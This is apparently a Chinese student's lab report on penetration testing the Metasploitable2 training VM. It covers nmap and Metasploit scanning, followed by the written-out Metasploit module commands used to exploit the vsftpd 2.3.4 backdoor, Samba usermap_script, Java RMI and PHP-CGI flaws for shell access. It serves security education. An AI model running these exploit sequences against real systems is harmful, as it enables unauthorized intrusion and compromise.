一、实验内容
1.1 实验要求
1.1发现Metasploitable2靶机,并对其进行端口扫描、漏洞扫描;1.2利用Vsftpd源码包后门漏洞;1.3利用SambaMS-RPC Shell命令注入漏洞;1.4利用Java RMI SERVER命令执行漏洞;1.5利用PHP CGI参数执行注入漏洞。
二、实验目的
通过端口扫描发现靶机漏洞,掌握metasploit的用法,实现多种漏洞的渗透利用。
三. 基础环境
kali虚拟机,具体配置如下:

Metasploitable2虚拟机,具体配置如图:

四. 实验过程与分析
4.1 前期渗透
** 4.1.1 主机发现**
使用ifconfig查看靶机ip地址:

在kali虚拟机中打开msfconsole,执行ARP扫描,具体命令如下,如图所示:
search arp_sweep
use 0 #使用arp_sweep模块
set RHOSTS 192.168.116.0/24
run

从扫描结果来看,靶机处于在线状态,且标识为VMware, Inc.,说明这是一台VMware虚拟机。如图所示:

4.1.2 端口扫描
使用nmap进行端口扫描,通过命令nmap -sS -sV 192.168.116.131进行SYN扫描并进行版本探测。根据nmap的扫描结果,可以看出,靶机上开放了大量的端口,同时存在有很多漏洞,如图所示:

在Metasploit中使用portscan/tcp扫描,同样能够扫描到靶机开放的端口。具体命令如下,如图所示:
use auxiliary/scanner/portscan/tcp set RHOSTS 192.168.116.131set THREADS 10 run ```** 4.1.3 漏洞扫描**通过nmap -script=vuln 192.168.116.131对靶机进行漏洞扫描。扫描结果发现靶机上存在大量漏洞。对于21端口的FTP服务存在vsFTPd 2.3.4版本后门漏洞(CVE-2011-2523),可直接获取root权限,属于高危漏洞。如图所示:从上图可以分析出来25端口的SMTP服务存在匿名Diffie-Hellman密钥交换漏洞和DHE_EXPORT降级漏洞。其中匿名Diffie-Hellman密钥交换漏洞会导致中间人攻击,破坏通信的机密性和完整性。DHE_EXPORT降级漏洞因为它支持TLS_DHE_RSA_EXPORT_WITH_DES40_CBC_SHA弱密码套件,使得攻击者可将加密强度降级至512位导致敏感信息泄露。对于1099端口的远程方法调用服务存在漏洞,RMI注册表的默认配置允许从远程URL加载类,可导致远程代码执行。如图所示:对于5432端口的PostgreSQL数据库存在Diffie-Hellman密钥交换强度不足,CCS注入漏洞以及POODLE漏洞。这些漏洞使得攻击者能够解密数据库通信,劫持TLS会话,最终解密数据。如图所示:对于6667端口的IRC服务存在UnrealIRCd后门。该漏洞使得攻击者可以直接获取系统权限。如图所示:**4.2 Vsftpd源码包后门漏洞(21端口)**通过命令nmap -sV -p 21 192.168.116.131 扫描靶机的21端口,查看该端口是否开启以及其上运行的服务与版本。该端口开放,且运行的是vsftpd 2.3.4。如图所示:利用vsftpd 2.3.4版本后门漏洞可以获得靶机的shell。能够查看当前路径以及目录中的文件,查看当前用户发现为root用户。**4.3 SambaMS-RPC Shell命令注入漏洞(端口139)**通过命令nmap -p 139 192.168.119.131扫描靶机的139端口,查看该端口是否开放。如图所示:可以看到端口是开放的。使用Metasploit框架利用Samba服务的usermap_script漏洞。具体命令如下:
use exploit/multi/samba/usermap_script #Samba服务的usermap_script漏洞
set RHOST 192.168.116.131 #设置目的IP
run
如图所示,可以执行Linux命令,我这里执行了ls:** 4.4 Java RMI SERVER命令执行漏洞(1099端口)**通过命令nmap -p 1099 192.168.116.131扫描靶机的1099端口,查看该端口是否开放。如图所示:可以看到端口是开放的。使用Metasploit框架利用Java RMI服务的远程代码执行漏洞。具体命令如下:
use exploit/multi/misc/java_rmi_server #Java RMI服务的远程代码执行漏洞
set RHOST 192.168.116.131 #设置目的IP
run
结果如图所示:** 4.5 PHP CGI参数执行注入漏洞(80端口)**通过命令nmap -p 80 192.168.116.131扫描靶机的80端口,查看该端口是否开放。得知端口开放,使用如下命令:
use exploit/multi/http/php_cgi_arg_injection #PHP-CGI的参数注入漏洞
set RHOST 192.168.116.131 #设置目的IP
run
如图所示:我们输入shell,可以切换到交互式Shell中。此实能够查看目标主机的完整系统信息,当前路径以及目录中的文件。查看当前用户发现为www-data用户。#**五. 问题以及解决**1.一开始无法ping通靶机的ip。我重新安装了一次靶机,就可以ping通靶机了。#**六、实验体会**本次 Metasploitable2 靶机渗透测试实验,不仅让我系统掌握了渗透测试的核心流程与 Metasploit 框架的实操技巧,更对网络安全的攻防逻辑与重要性形成了直观且深刻的认知。实验开展得十分顺利,靶机安装便捷,所需环境也在前序实验中已完成配置,为实操环节奠定了良好基础。实验核心围绕 Metasploit 攻击渗透实践展开,我重点实践了信息收集的完整流程:借助 Metasploit 的 arp_sweep 模块精准定位靶机,通过 portscan/tcp 模块排查开放端口,再结合 nmap 的版本扫描与漏洞扫描功能,逐步勾勒出靶机的安全态势与攻击蓝图。在漏洞利用阶段,我针对不同端口的经典漏洞进行了实操验证——从 21 端口 vsFTPd 的“笑脸后门”,到 139/445 端口 Samba 服务的命令注入,再到 1099 端口 Java RMI 的远程代码执行,尽管不同端口对应的攻击模块存在差异,但整体均遵循模块调用、参数配置、攻击执行的固定逻辑,这让我对 Metasploit 框架的使用规律有了清晰把握。此次实验虽然操作流程并不复杂,且能按指导完成任务,但我意识到自己在理解层面仍有不足,有时过于依赖教程步骤,缺乏对每一步操作背后的原理与目的的深入思考。通过实验我更清晰地认识到,攻击与防御本就是相辅相成的整体——靶机作为刻意搭建的脆弱环境,集中暴露了日常网络中常见的安全隐患,如弱口令、未及时更新的软件、宽松的权限配置等。在数字化时代,网络安全已成为不可或缺的重要防线,未来我计划在完成系列实验后,重新梳理所学内容,深化对渗透测试核心逻辑的理解,通过持续学习与独立思考精进技能,在攻防对抗中真正掌握主动,为网络安全保驾护航。